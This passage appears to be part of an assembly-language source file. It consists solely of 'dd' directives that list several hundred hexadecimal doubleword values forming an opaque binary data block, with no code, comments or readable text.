0C6A3BB01h, 8020212Eh, 94265CFDh, 30601C4Ah, 892567A1h dd 4700E874h, 0FACF9E6Dh, 5D59F763h, 0E501887Ch, 0EA8A2ECh dd 854E70F2h, 0DBE24707h, 7201A76Dh, 7D600D4Ch, 9E640049h dd 0E3258C28h, 0CC986D15h, 4F4BFB02h, 6038AA14h, 6A356E6h dd 9DB397ECh, 860060FAh, 0A1CB5591h, 0B099457Dh, 0A2650068h dd 79F8FADBh, 71181C60h, 5648D4A8h, 86CB0119h, 12DB7FF5h dd 0F752D84Ah, 5DFE100h, 3C9CB6CFh, 0B33E0513h, 8D89A76Eh dd 3423F028h, 9B08E800h, 3524E5B5h, 0EDD98E4h, 0A21FF13Ah dd 9DF021A0h, 6C00A60Ah, 0A98978D0h, 7262BCh, 4CDF862Ah dd 0C2F7101Ch, 172F9000h, 7F321D0Ch, 0FBA600B7h, 1B05916Fh dd 8803CA8Bh, 988D155Ah, 0A5100019h, 511E8441h, 0C70BF937h dd 80712897h, 302A478Ch, 0A8961E2Ch, 49561FC5h, 4C0E13DDh dd 0CA269B80h, 87016C6Eh, 548A8FECh, 0D441645Fh, 0F0CFABC4h dd 0A7D281h, 0E7063CF0h, 854A3E8h, 0AA99ED00h, 102E723Ah dd 0FE7F0064h, 969DC867h, 21002B24h, 0E619A6C0h, 48DBC763h dd 3C09F07Ah, 200F343Bh, 65AC19Dh, 80EF4D35h, 0CF27D47Ch dd 0E4366Bh, 0B44A1C0Ah, 0B32389Ah, 454B7800h, 0BA275B56h dd 93A0C094h, 5E3ED195h, 8175443Eh, 0E233B1A1h, 20817FBFh dd 2DC3CA3Bh, 0C1D0CB84h, 3098A077h, 0C8211628h, 0D7655209h dd 22600791h, 0CCD0CDF7h, 375A060h, 9F00D76h, 748089ECh dd 28C07010h, 0E50A9E36h, 986F00B8h, 8FE3FEC1h, 21C0DE71h dd 3187678Ah, 0F6D51D47h, 0CDB14065h, 90CAED2Bh, 6C69C718h dd 0EFCDF28h, 74AF56E3h, 670D5063h, 90E7D5E0h, 0E6B46C00h dd 0AA793A5Ch, 1A4501AFh, 35163C94h, 123864B8h, 8CC6462Ch dd 773F7B41h, 0F21A2034h, 0D0F80F24h, 0D300FFDAh, 0FD905E7Dh dd 54CCF200h, 0C63A7AA5h, 0E6450557h, 0A12C111Ah, 3CC8F178h dd 0D8701390h, 8E63ECC0h, 9A760006h, 31B82FDEh, 3E7CF99Fh dd 91280204h, 6CF06EF4h, 7052139Eh, 1900001Bh, 0B4629069h dd 38260AEAh, 0F7BA2094h, 4FBC2A44h, 0C0841C1Eh, 8E1C62F1h dd 0EF0E3E65h, 40598428h, 74B531C2h, 0ACAB00F4h, 704A2D63h dd 67001296h, 0F6D9E2F7h, 0E01E439Ch, 8DF00E56h, 0CD200A4Ch dd 0B6BB4E5Ah, 2D87831Ch, 881D2540h, 60F8E6E7h, 5A7B1110h dd 4747C45h, 52F58F00h, 0B67166FAh, 30703F38h, 0CC844802h dd 90AFFCF3h, 4183A088h, 98085693h, 39F5D84h, 6A393413h dd 99F801B7h, 3A5C79FBh, 80CA3FACh, 1BFEECC5h, 18E8367Bh dd 80764B1Ch, 0C71268FFh, 5B05F704h, 9487C87Dh, 7263D7B0h dd 30BF6071h, 20103DC5h, 912D1E05h, 0B84A2827h, 2580A0C7h dd 8BEF6904h, 838D1E7Bh, 0EADEABh, 4252148Eh, 264CE7EDh dd 3F33026Ch, 0C097355Bh, 11F7494h, 3DDF556Ch, 0E0F0D663h dd 0E40F660Ch, 0F77A3776h, 4BAD7400h, 402EDEB4h, 3C743544h dd 0AC82C707h, 0B6F0DA30h, 0C06A5B79h, 50D7A5F8h, 0F6008357h dd 20ECD62Eh, 9029B2F9h, 0D1161CC8h, 0B8968103h, 80C19C6Ah dd 2694CD88h, 0E13D30EEh, 0ECD860h, 0E40F180Dh, 53F9224Dh dd 0C409A89Eh, 373080DFh, 766F08h, 0FFBB84CCh, 5DCD9D1h dd 6E319100h, 97BE1473h, 6580008Fh, 0DD3EB8AAh, 8A00EF74h dd 7F87E6Fh, 0BFA59A3h, 999F05D3h, 0F6A8EC60h, 8038CA27h dd 9BB943F0h, 0F96FCBBh, 1A474033h, 0E9E3BCE0h, 2F0010A9h dd 1E5DD2F8h, 1F35E80h, 228DF7C4h, 0F8FC7EACh, 0AF5C44B2h dd 0B7B50B8Ch, 204E24h, 0CB294C59h, 0BFA76C39h, 4365BD09h dd 0C0D0E088h, 328200C6h, 0E222DF18h, 8D00A664h, 4905C77Ah dd 37F72Ch, 7BB2FD58h, 85272BABh, 0D13B0E0Eh, 0F583E08Ch dd 1FE3320h, 810B56A9h, 0DC74EAF3h, 1658D4D0h, 229F018Ch dd 53021299h, 7B31D1C9h, 1D24C4h, 0AE3A6BF5h, 9486AA67h dd 65147F00h, 0ECFC63F2h, 30570D0h, 235FFE49h, 0F9E03608h dd 74005C66h, 0E0885037h, 38546E44h, 0F180D109h, 0F753CFA1h dd 2A03FA55h, 17528FEBh, 0AAC0E893h, 38FE0037h, 0D83C9E41h dd 5C00CDBFh, 75AD492Dh, 3805F4Eh, 4BB9B669h, 92E88177h dd 5C001DF6h, 1874AE1Fh, 1C98E5h, 8C53013Eh, 0B388E3E6h dd 0F656C73Ah, 0E572D700h, 795759ACh, 9DB70FDDh, 1C646695h dd 0C6A490D9h, 5CBA2C53h, 3A568602h, 4293DFFDh, 7C7760ABh dd 838500B1h, 0D2D6286Eh, 90B2CC0Ah, 6A4C6600h, 0B145E359h dd 0BDED2AF1h, 64A106E0h, 1179C46Eh, 9B0088F8h, 1F8D4DDh dd 9A088F69h, 3988B8E4h, 6F9A944h, 0B9F4362Ah, 2900606Ah dd 91D6CB4h, 0A5153Ch, 0B6A8E0AEh, 3E783869h, 47B6B2Eh dd 66414B00h, 1C11762h, 897F823Fh, 0EFAACB4Eh, 9619E4D0h dd 0E71C538h, 1783361h, 5DC65AE7h, 48ECD8C8h, 0A201C463h dd 363D6A44h, 0A028DCh, 3C9D7DF6h, 0E69F9E4Fh, 19E687h dd 0BE170590h, 0B250ADC9h, 0E4936EB8h, 0EA51300h, 51D85Dh dd 0AECDDA5Ch, 4BEEBA3Eh, 92B26F00h, 14246112h, 0B1D101DFh dd 0CF8E60E3h, 0A49830BFh, 0B5556200h, 0FB1319C0h, 763C0168h dd 0B608D0F0h, 8A1084FAh, 68C07540h, 90E6DE56h, 7AD3F68h dd 46664D00h, 0D8EA9120h, 0D09BF0A8h, 0FB73CA01h, 5C72D637h dd 7FC06C69h, 0B5785245h, 63F0C400h, 47373C41h, 170B0051h dd 48FB832Dh, 150E9724h, 0E18A0A45h, 793D4C0Dh, 0ACEE9080h dd 0E35C8E21h, 7C4D6102h, 0C8C53280h, 1B083534h, 912EC6ABh dd 0C7980185h, 68204B6Eh, 168C5CE4h, 0EC006FF1h, 0A6BE0D2Fh dd 0FE9902A9h, 0BC513230h, 2658B450h, 438C127Ch, 775D100h dd 78C0933Ah, 0ED8E0033h, 0F97B0F8Ah, 0BC035A39h, 935D8972h dd 0E06000B3h, 1D0674BBh, 83125C70h, 901E9DEFh, 8BBE6AC7h dd 6E0E80DFh, 1C1B450h, 26C64E1h, 431A2ABCh, 72F914C2h dd 794BD062h, 9F4FA275h, 84171400h, 0EE252B04h, 0C9080045h dd 98FD3623h, 6930E4C5h, 64D910C6h, 3139008Ah, 0C3A90897h dd 9C3EF82Ah, 0FFA80DAh, 0B04FF4C6h, 0D3BD05BAh, 0E3B25C22h dd 4789BC00h, 43270742h, 0A2F501C8h, 0E3384C8h, 0E6474EB8h dd 0BA817641h, 0AB0820A0h, 0B4F15605h, 880016EBh, 0A87E3ADEh dd 78C80441h, 0E1E09E29h, 9D98F300h, 0D100AF42h, 8F91A834h dd 0B886D7C5h, 24371D08h, 0A665C06Fh, 49161AFBh, 0E4B8B670h dd 77B1BA00h, 134D10A5h, 36E80002h, 0FC3AE055h, 3C09737Fh dd 9391BFh, 0A4CEDDCEh, 0F11F0161h, 741B2901h, 48E9C8FCh dd 0D0EE6300h, 266CA932h, 0D84E82h, 0E8D21178h, 0E214F21Bh dd 0E0FAA7h, 0F95422F5h, 2823FF7Eh, 0DCD246h, 13EEBC9Fh dd 7035DD3Fh, 97C19800h, 4A7C68A1h, 2387FB8h, 4571CC9Eh dd 74485FCDh, 7300A2EDh dd 0F5F29C89h, 1F721C13h, 409B8A86h, 1805120Eh, 3900A322h dd 810AE9E6h, 5C87E831h, 6B00DC16h, 0FBD9DB8Ah, 0D1057C08h dd 171E15D4h, 351210C0h, 0BE3F0641h, 88A3B0A7h, 62433009h dd 284EE5h, 53BA2895h, 945C3712h, 0E490D500h, 0D1C6B777h dd 60DF0166h, 615B6283h, 20D7C409h, 636A4B00h, 0D519EE4Ch dd 3BF60EC8h, 0F4604F65h, 1E8EA458h, 0BDA87A00h, 97D110F2h dd 0A5B22F24h, 1C770880h, 11774E86h, 6D2E6800h, 49F3AFD6h dd 0A1B024C8h, 0BB4C165Ch, 54388D00h, 38A7008h, 1905BF29h dd 6C8B57Bh, 8B00D909h, 60EA0E88h, 1D661B39h, 803AA7F2h dd 1C801391h, 4D008767h, 0F4582A8h, 1F2597AFh, 80C728DDh dd 0A4ABE1D5h, 0B609DE72h, 40FC7D45h, 0C518FBCh, 983EAC35h dd 0CF003138h, 0F47BEA8Eh, 95CC867h, 0A818495Fh, 43931820h dd 0ACFECBF5h, 0E0BF4100h, 3FA6B238h, 78F70194h, 0C94387C0h dd 32AE490h, 6C57B3Ah, 9F8B1EB1h, 3F20F970h, 803E609Bh dd 3A7F2008h, 8C89173Fh, 184C5B36h, 12307C16h, 0E0EC72C0h dd 4006C5ACh, 9C191F38h, 7B2A3849h, 729E028Ah, 49D70028h dd 0EB719768h, 0C9E36607h, 5B80E9E5h, 0D086B6h, 1682A6B9h dd 728F6CA5h, 0DEB8D700h, 7F3B9012h, 711D00C5h, 1048AF9Fh dd 180019C9h, 3AAE9ABBh, 3B62C82Fh, 17807EC4h, 66A495BAh dd 6B0099EAh, 0B4799C10h, 0EA96121Eh, 2F4F02CEh, 0A10DC103h dd 655C7960h, 0AC16CF00h, 1D018C5h, 7F6A00C9h, 2AFCADE3h dd 0DB00CEA4h, 50DD3C0Fh, 1E832C6h, 97D52F85h, 208B3407h dd 28003AF4h, 98C5F40Fh, 10682Ah, 7BEC6B6Ah, 2FEE6FB7h dd 3AD910Eh, 12C78707h, 0F4409C80h, 803614CBh, 81049CB5h dd 0E128C1B2h, 3CDFE0BCh, 0A6D1BD00h, 0D9B7B46h, 1AA8A15Eh dd 0E7F42180h, 143D04BDh, 1483134Ah, 0A4AB309h, 17303C21h dd 413040Ch, 990607D0h, 0CC300048h, 0A0FB5260h, 5F1FAC00h dd 11B304CAh, 48AA0ED0h, 6469EADh, 4E0331ABh, 2A29DB96h dd 0D90EA8C8h, 0F08255AFh, 3FB82ED8h, 90804463h, 0C9456BA3h dd 9E00C326h, 0E255E1AFh, 0BBBFC16h, 0B51082C5h, 9CB68283h dd 0DA6F4117h, 81170609h, 0F11E126Ch, 419A0893h, 0D84EDE54h dd 0F022FFC2h, 93AF3378h, 0C4C08421h, 6C0005BBh, 31F0F53Ch dd 30812EFBh, 0ACC1960Dh, 31C387FEh, 0B2CAA0h, 0AFAE9C19h dd 0BEA1DC3Ch, 30537803h, 0A0089272h, 68F5A1Fh, 1695BFBCh dd 6E46B8B0h, 0C3D83602h, 98319917h, 0D801CA13h, 17A4E9A0h dd 0F0481C0Ah, 579D0263h, 0DB1F339Ch, 4F886884h, 7C00171Ch dd 95FC5064h, 0D3A00086h, 4E5D4FCCh, 781D7424h, 7A00BF9Ch dd 0A0D74218h, 9EB548BDh, 0B3D99330h, 0FB3C4F15h, 3301FE7Bh dd 61142530h, 0AE48B0Dh, 0CEF7F051h, 0AB038F71h, 0BC808D95h dd 19C99066h, 2C4C0460h, 0A6BDE960h, 72436EE2h, 0A8772Ah dd 0E4BD70F9h, 0CA6F0E29h, 5199E002h, 0B0833FB6h, 11D8379Ch dd 88F117C6h, 4FCF806Bh, 3037C1D8h, 57A379CFh, 0D26BC01h dd 0BE704A83h, 35AE019Bh, 3E9E175Ch, 3B8DCDD0h, 36E1683Fh dd 6E0509Eh, 18C4153Bh, 1CED5E4Bh, 0A0059D08h, 9CE4B008h dd 4B18A098h, 2129C02Eh, 19C30077h, 7AFAC491h, 0F43DDE61h dd 9290174h, 0D44AE0E3h, 88A4C4h, 77953ABAh, 8F01D328h dd 12387E0Fh, 0FF6AA0DFh, 75D95E29h, 377572h, 0AD034653h dd 262C9FF8h, 9C7B3201h, 0DB3BDDCEh, 621FC0h, 0B1E580E6h dd 0E777EE92h, 43978900h, 6861312Bh, 24203AADh, 71386548h dd 182D00FDh, 0DBF5D079h, 570016F0h, 1C7557Ch, 7C8C197Ah dd 4BE80073h, 6EECD624h, 9700989Fh, 740D2FE7h, 0C760814Eh dd 1028CF58h, 0B142A399h, 0F661D660h, 399027h, 308E4A65h dd 0D477A614h, 121D363h, 2576B081h, 34580074h, 0F8C4D295h dd 0D800F566h, 731352E3h, 38EE7915h, 7783A996h, 0E2E46533h dd 0AE55E0D0h, 59A57100h, 632996B3h, 0D0D1008Eh, 99EB28A2h dd 14EE3416h, 0FB000FF4h, 0D74DE347h, 0DDF068h, 1D165C76h dd 1F3E868Fh, 0B5A91307h, 0BCA1AFDFh, 8240E1EBh, 74CD724h dd 0B2EE7D97h, 0CDA86042h, 2003867h, 0A5607640h, 0A0A4CEFCh dd 0F4F0CCh, 462F44E6h, 0AB7102A2h, 8A003AFEh, 93D30D75h dd 0BCA8D5h, 31E7C24Bh, 7FD87736h, 8229A302h, 85336054h dd 3CC0ACD4h, 925FBCB8h, 209F5050h, 0A86AF4F2h, 0B786A0h dd 0F7DF4DDEh, 4B6E1B14h, 6B68FB00h, 0A662F3DDh, 8200E97h dd 0FC83B251h, 65CBEE2Bh, 98848C80h, 24D44938h, 0E08080BBh dd 6BF2770Fh, 552D00F4h, 0A3C48369h, 5700640Bh, 13884ECDh dd 74AA250Ah, 38410037h, 0BD6C2D32h, 9B0F16ECh, 604E8F21h dd 0FBDBA342h, 0CD0A00BAh, 70AFB1FDh, 0A1046BD7h, 408E369Ah dd 0D4031C90h, 1E66F871h, 9880BEA9h, 654A8C9h, 8A5FE907h dd 0D6C01C02h, 0AA00A6Eh, 9D2468B6h, 926000BBh, 461CA2D8h dd 0ED588D00h, 0C184733h, 0F7340042h, 22F24953h, 9E0073CCh dd 0BA32C769h, 79AB1E1h, 0A156A970h, 0EC9623E6h, 0C8A61A00h dd 3CBCBBAFh, 0D2EBA053h, 93F2004Dh, 0E33DB71Bh, 5D075E5Ah dd 313F1D21h, 0DA48607Eh, 0C2A057h, 98915876h, 2D28073h dd 8CB84Ch, 0F80CD0B3h, 32A3A1h, 3359157h, 42C29D7Ah, 0F495090h dd 0BFA000C0h, 75E20846h, 65B8C7FAh, 0E962102Bh, 0C8007D30h dd 3F8DA6Ah, 1D7F87D9h, 0BAC443h, 581A2DF1h, 0D500B462h dd 73F3FEF5h, 0B717038h, 60C0E042h, 3AA39180h, 0F200396Eh dd 0D1BE5E3Ch, 0C7CB358Eh, 90212728h, 0EF89C9F9h, 80FF8A3Eh dd 474128C7h, 59B854h, 0AD6919EEh, 3734D5Ah, 48C548h, 3AA41C4Bh dd 19D6493h, 98231299h, 248F20A3h, 0E43335Ch, 3AA21F81h dd 812E7025h, 81D2093Ah, 83BEC9E5h, 90302967h, 0E7F7CACh dd 12447C5h, 4977FB20h, 865837ABh, 42991370h, 0CBA0E040h dd 6AB4CAh, 5449F6DCh, 5DF7F27Bh, 0DF65DE00h, 10ED7D0Ch dd 6D683E9Ch, 0D18916B0h, 830035E0h, 6AF7DE0Ah, 0E28B3Ah dd 4F6FB17Eh, 69F6BAFCh, 6B4A0200h, 19F0BE37h, 0B86D00E2h dd 6032E3EAh, 0CC02339Bh, 0B3C9C8C6h, 20D06255h, 0C40CA5E8h dd 252EE3Eh, 24F2F19Fh, 7C48E330h, 0EF0FD5AEh, 16B0DD8h dd 368A41DAh, 7F758434h, 0C016305Eh, 2B771111h, 2D560F02h dd 6575CAC8h, 88220FBCh, 2EDFCE60h, 6B00BCA9h, 70AC4EBEh dd 0EEBE7h, 0D821A486h, 0A88D1B5h, 0C546E505h, 1CD00BCBh dd 3D8DD01Dh, 0A912A2CDh, 0D5BB00F1h, 738ED9F7h, 2B5382E0h dd 5C247CE4h, 350C848Fh, 0CFE89E2h, 7A50EB79h, 732A05E8h dd 413A8461h, 29C734AFh, 899E7480h, 9CEE0E56h, 0DC098ABAh dd 691440A0h, 0FB062A57h, 7A29ABC2h, 68F90C40h, 4678C9A7h dd 23089173h, 61484Bh, 0CF942D72h, 9A00F625h, 5B976B7Dh dd 751A46Eh, 0F460D3F8h, 0A37AB092h, 22005709h, 343B6C8Ch dd 266F6A3Ch, 1544254h, 6FECCF9h, 50CEC155h, 37B8448h dd 0C6D4B401h, 0E48E3C2Eh, 0CA4AD989h, 7FE8B480h, 8CA68DB2h dd 2FB0CC74h, 9CD85854h, 101CD100h, 12411DA1h, 3532046Eh dd 90E795C5h, 0F3C0B60h, 100A2C7Ch, 846E2004h, 56B3F01h dd 330077EFh, 0CE1A6531h, 80D03C29h, 794450E4h, 0BC9A03D8h dd 930376FFh, 5F7AB90h, 4F631400h, 0D8B24A7h, 0E04748BDh dd 67E18600h, 0F3E0FE0Ch, 15432E03h, 825C7E06h, 507C807Ah dd 9CCBEh, 0AB6DEDF7h, 0EFE7801Fh, 0E81ADC0Ah, 8F404C97h dd 0A8FFD69Eh, 1DC0D428h, 17CBB89h, 0D0E12094h, 0FDC2246h dd 60EE90B3h, 0C4E2B0B5h, 0FF61000Bh, 9B665A22h, 7B00460Ch dd 37D6584h, 0E59B9F5h, 0CEA61981h, 0E75CD3E1h, 60783044h dd 7F51DB40h, 85CD0152h, 2F148F65h, 0DEAC2015h, 0A4BBFC00h dd 6270E8A2h, 0BAF30069h, 96808823h, 9B03C074h, 5B86A8EDh dd 8C1E4AEh, 1A20E8DAh, 4A7F0037h, 43DF49Bh, 6D01A9FCh dd 0EA0DAAA0h, 956010C2h, 9F71F36h, 0FA920350h, 4C90917Bh dd 0A4000D1Eh, 1172DCB7h, 7CF71C8Ch, 83BB502Eh, 25F067h dd 3174B2C4h, 1FF3368Bh, 20DB7C00h, 877EF8BFh, 0BED901F5h dd 30AE6A4Ah, 3A43480h, 7074E09Ah, 3B0C834Dh, 0DBED819Dh dd 3F9202B0h, 9CFE70h, 975E76B6h, 0C4D63DA5h, 3547931Fh dd 43D7B8CFh, 81CD0475h, 8C74A9AFh, 3AA479B7h, 16016F7Ch dd 856AF38Ch, 61EBEC94h, 71CE3Eh, 0EC7FA5DEh, 13C6286Fh dd 0F54A29h, 0EEE69B6h, 0E7249F2Bh, 0BC4220A8h, 69C4068h dd 0C5D504B9h, 885B3D2Bh, 212A3E8h, 0C1009775h, 0BF7E65C4h dd 0AA6900E3h, 0CD295A9h, 0D87593AFh, 8060713Dh, 8A6520A5h dd 19BA4CE5h, 697CB187h, 0EA3300A3h, 30F04D44h, 0C4812h dd 22E05C28h, 2650D42Fh, 9C0B8EA1h, 4BD0111h, 58C7DC78h dd 0D32A0473h, 0E05100FCh, 78BFAB9Eh, 9C9893B2h, 0B94DF413h dd 8770BC14h, 0DD434E12h, 1859C04Bh, 0FABE70DAh, 21E70E07h dd 4EA09E94h, 7315E9EDh, 690F59C0h, 93522F60h, 432980E8h dd 6F327FFFh, 0F98EC813h, 271F4440h, 9879BD1Ah, 321700E4h dd 0EF759651h, 24B4093Dh, 8069B309h, 0ED620B5Ch, 7E200538h dd 9865D6ACh, 261E3CB4h, 0E2C0E72Dh, 0E56C84FDh, 1DF070DBh dd 809143FFh, 6229044h, 8A00BB59h, 7665A711h, 11BFE08h dd 0E58ED850h, 0DCAD4881h, 0F2005CD0h, 21EF794Bh, 9E39A1h dd 0DD34E268h, 0E903618Bh, 0DAB14D1Dh, 0F01F4696h, 45CC7300h dd 49A58577h, 0F4505C81h, 0AC900C4h, 0F2E7528Ch, 0AF1F4830h dd 0CCC03956h, 0B015E0F7h, 0E394A06Bh, 0DA6C00F8h, 32E2C3E6h dd 87B0465Dh, 0B0A9A101h, 954DCAD0h, 3AE8CEF4h, 7883880Ah dd 0BF11666Bh, 8C127101h, 30101517h, 9B80BC28h, 715A1D02h dd 13D54402h, 6937680Ah, 287203C8h, 2AA0C44Ch, 7224FB24h dd 3685380Ah, 3088A3B1h, 53EC000Fh, 9844FF4Ch, 750070F5h dd 0EB72BF99h, 7519D6C9h, 575F01E4h, 0AD67FD34h, 93DDC044h dd 981182E3h, 68AA09FBh, 251DE594h, 0E810A51Ch, 9804ABFFh dd 77F5B292h, 646F3091h, 15C01862h, 786C75D3h, 0C020D500h dd 3F109FD4h, 0C2FB86Dh, 0BD327DF5h, 1817B628h, 0B021ACE7h dd 4BEC8B1Fh, 63E50097h, 6F94834h, 0C628CBE7h, 0DB3AFC46h dd 39845935h, 69F9284h, 24910C00h, 0E86537A3h, 2BEE2836h dd 0A0EAE2B0h, 2B9BFE2h, 675E87CBh, 20C6FBD1h, 0BC002CEEh dd 3FBFAA89h, 11F9CF9h, 0B2511569h, 0CFD1FF92h, 84A54809h dd 0E4790021h, 56D742Fh, 0E5119B4h, 0F4C84FD4h, 6F2F99F8h dd 1FEEDCA8h, 0DCA389C6h, 93CD3029h, 5628B580h, 3B291900h dd 0AB1D2EF4h, 8E4402D2h, 392FE563h, 2590E8C3h, 2258BB29h dd 0B2D40007h, 0BDFD70C6h, 6BA83A7Eh, 880E13Eh, 0AE0DA1BBh dd 7D4C1363h, 2B9302DCh, 82767719h, 7289DC83h, 0B1E572ECh dd 9EC509FCh, 42FC5B03h, 134369D0h, 0DD7ADE01h, 22DCE7A5h dd 7B73CC8h, 45F5D759h, 2035A144h, 88E42030h, 0AF8EF49h dd 80784D23h, 76107B80h, 0E9A7E2Eh, 8CB619F8h, 0D5DECCC0h dd 0A6021735h, 4B9197C9h, 0AD864051h, 788C0EF8h, 556FD3Fh dd 27D8DD0h, 7C1872F4h, 0CF04A6C8h, 2635D3Fh, 0A5D00B20h dd 857CC2F6h, 50C03284h, 0E476BB2Dh, 315900C3h, 0F527B237h dd 0CA4825E2h, 0DC483Ch, 4F41F6FBh, 0EB480Ch, 0A1A09F92h dd 0DDE30985h, 0CB5A1200h, 0D402B986h, 7A7CC4h, 72D17C67h dd 0B16B9C83h, 0E4BE5B00h, 0B4813620h, 0E88B3C10h, 5FA4039Fh dd 6F9F806Ah, 588D6CC1h, 9A09AA00h, 445DEA34h, 82FB0075h dd 0D7DF1B46h, 0FFF4BDA2h, 6DB60F1Dh, 0C9A4F880h, 188D897Fh dd 0C8B4681Ch, 5EFA1FF5h, 0F9174A00h, 700D5D57h, 2637F1Bh dd 0E7190AD1h, 63604B41h, 0A00E2DCFh, 8024F4FBh, 1AE873A4h dd 6D250215h, 40464EFCh, 809C89h, 0C6F652DFh, 0A974F973h dd 45A7E91Eh, 0E50094A8h, 1521D0FAh, 4EDD9h, 4EBF48B7h dd 7D18B8EBh, 1E469F00h, 0F5E3D868h, 3808484Ah, 60133B07h dd 3C605949h, 273CBB50h, 860E809Ch, 954845E3h, 0B0ECBDh dd 0CAEA38D3h, 0C5BB1BD2h, 8315B33Bh, 9C7B052Fh, 9FB680A4h dd 384A488Dh, 16455D00h, 5FA9D7C8h, 0BDB5BA0Eh, 0C27D4081h dd 0AEB43B3h, 0A5C7CEE8h, 85DC00B3h, 0FF7FCB6Ch, 612F3A16h dd 0FB300440h, 0FA432226h, 0E1B300BBh, 11C00841h, 400BE46Ah dd 80BE8CB5h, 47F7F238h, 96873C90h, 0CDDBDD80h, 4C4061BBh dd 8C63C82Eh, 0D8CAFB43h, 0AC8167h, 0ADFAB9B7h, 8F35CF18h dd 9F007B76h, 280E4B1Eh, 0F72AC5Ch, 82B35A52h, 540D2AA0h dd 863B0CB7h, 4966074Fh, 0C03C2647h, 0BACF0005h, 0A96D1BFFh dd 7D00EADAh, 0A1DDB4F2h, 50F00254h, 36D445h, 0F1BAD23Eh dd 0C6A2B5D4h, 0FEC9200h, 13CCB860h, 0D82619D0h, 30F5B8E7h dd 4800DF48h, 0AE734996h, 0BD6020h, 6716C2B3h, 0C566755Dh dd 569FF200h, 0B109CBD5h, 644E481Fh, 4C6C3201h, 0E4183490h dd 740C359Bh, 88AE94B6h, 0BF873D8Ah, 80C76B9Fh, 0DB19B9D9h dd 983DB30Fh, 0E7CDC9Fh, 0B85C8B5Dh, 65B0820h, 0F2E4C34Dh dd 2F009824h, 8B1617FCh, 7F0A20Dh, 0B8F70E67h, 0E9107091h dd 0E100AF74h, 0CEA3C74Dh, 608CD768h, 4B18583Ah, 576009A6h dd 4F7236A0h, 3F813E91h, 0ECB61683h, 2DD954DBh, 0A20AC0A7h dd 0FFE2CB00h, 3C340FD6h, 136E7BF9h, 40B5C45Fh, 928DB39Ch dd 0D00499Bh, 4393785h, 70FF3Dh, 5AD0567Dh, 808ECC6Fh dd 34FEC400h, 2B083BB1h, 59334C9Dh, 8D424h, 0D05ADEA8h dd 2D1FB00Dh, 0BED71E17h, 61C8491h, 1C6191D8h, 417B30EBh dd 1EA82AD2h, 0CC222A74h, 133819A0h, 0A02BA331h, 0A9BC3310h dd 71001828h, 8F60E7EBh, 0FF636E58h, 106B00AAh, 0C2E637DAh dd 7E088815h, 4B5997h, 522AC48Fh, 0AB00D617h, 18EBC195h dd 0FC639C5Bh, 8CA44A72h, 1F41C6C8h, 0E1CAA180h, 51B46C94h dd 25809101h, 68EEA866h, 18C0012Ah, 803828BEh, 0AEC61B69h dd 2D94A516h, 52D01A91h, 812E7901h, 8A7F20A6h, 0ECE6C0h dd 211C6455h, 8B1ECD6Bh, 90C3B700h, 59FE533Fh, 0C4680111h dd 309C28BFh, 0E583FF1Fh, 0E184A000h, 59ACDA52h, 0CD021C2Dh dd 99807E56h, 13713897h, 74FB483h, 0BFA478D1h, 7C379870h dd 85520044h, 4D96C119h, 31375688h, 3033F01Ch, 0DCF5C8B2h dd 39180194h, 45500975h, 0D090E2C4h, 203CC914h, 137E7AAAh dd 2F621E00h, 0C46CB25Dh, 18F15DFBh, 0F03C8600h, 60CE4CD3h dd 90AFEB03h, 0F49C54Ah, 0CF330718h, 5A5F2080h, 5E2C6E7Eh dd 6F00DCB9h, 0C4EBA9FEh, 93721255h, 0DD6A0C9Ch, 98002D21h dd 8D10AEFEh, 119EB50h, 61F83507h, 0D865A6A0h, 0EA02B95Fh dd 13B52E4Fh, 6C080E6Dh, 480A890Ch, 306EE8F7h, 0E9117581h dd 0B7031C32h, 0B53B2EEDh, 6E0930F4h, 1CC34921h, 0E6E5AA00h dd 53C9A910h, 0EBC0C02Eh dd 0C46BBCDFh, 0CB024906h, 33183E23h, 0AB02DA2h, 0F4B7CCD8h dd 0B0F8B67Dh, 4FA9C500h, 0C7C254D6h, 5832F083h, 386380C8h dd 64815035h, 0A8B0B205h, 0D601326Bh, 4A36EDC8h, 3A320054h dd 0A716DF1Ch, 618030ABh, 0A3E5A419h, 5822B600h, 158718FDh dd 3CB030D8h, 0A1B526B8h, 0C4BFA00h, 0F27895B3h, 1FC9Bh dd 0C7654531h, 7600484h, 1AA27700h, 29F84BBEh, 0B72F008Fh dd 0EE9016B0h, 7D24DCB1h, 110E5ED2h, 0A7C0A0F4h, 46247Eh dd 9D55B3E5h, 35C57940h, 0C9591903h, 0F8F0049Ah, 737A5EEBh dd 0F2160061h, 0FE6D7333h, 411EC27Fh, 0A00CC8Ah, 0D19061Eh dd 0A33A00D2h, 6E045E5Ah, 18DC6DD8h, 1E00D6DDh, 2EAFE9C4h dd 0B2352C59h, 10690F48h, 81367D87h, 0E0734ABFh, 5E009092h dd 0B9151895h, 734D0706h, 6DF303CFh, 6C64EECBh, 981E183Ah dd 5150A8A5h, 6D1807D5h, 4087D0B8h, 0FB07F81Ch, 40167EEh dd 0F7859697h, 0E0CF7DB2h, 3CA39DDCh, 878FFD9Fh, 0C300F3A8h dd 39BB2120h, 126041F2h, 47D6FD28h, 62563DE6h, 11AAD78Ch dd 0CBFF0818h, 6B8D814h, 92F4C004h, 10BD926h, 0B23173DEh dd 81E70857h, 0DB52CD8h, 0F4D46187h, 0DEF20007h, 0A9D993B6h dd 8CA03B02h, 80FBDD42h, 6DD6E430h, 6B2208h, 440B7643h dd 0F2188CF7h, 0C4BFED07h, 28BAB2A4h, 0B385EA86h, 0C0065019h dd 0C431891Bh, 0A9C15E78h, 1477B2F5h, 193B604Ch, 0A8E74CDCh dd 2FE902B1h, 0C03CED83h, 40905841h, 8E19FCB8h, 23E3E914h dd 0CF4841A8h, 7C2F5829h, 86846A15h, 7C796CAEh, 4E42300Dh dd 0CAD998F1h, 103A1324h, 2351A789h, 21DD2A08h, 6391BF90h dd 2ED992A0h, 9F749C3h, 33986BFh, 8841EB5Eh, 2DE0E057h dd 2933B7A3h, 0A09281D2h, 7E0C327Ch, 0FB30C015h, 0DC3E1C2Fh dd 0A8BBC73Dh, 0B72850CCh, 0CD001C41h, 0EB85F1EDh, 5416A5DCh dd 0C51CCC5h, 0DA1A8D6Dh, 41018310h, 95053658h, 69E5A8AAh dd 57D08457h, 78ACB1B3h, 0D5870691h, 0D070522Dh, 150CDCF0h dd 11779D5Eh, 8BA007E7h, 0C0105FA8h, 5787032Fh, 2349D51h dd 0F221DC94h, 0F5E80C48h, 5F831AF9h, 0F80019D5h, 9D6158D6h dd 39CB749h, 7DE860C5h, 0A2995189h, 94500C50h, 0B0D11227h dd 92BC0E51h, 148FC5h, 18B3784h, 0B3742F6Bh, 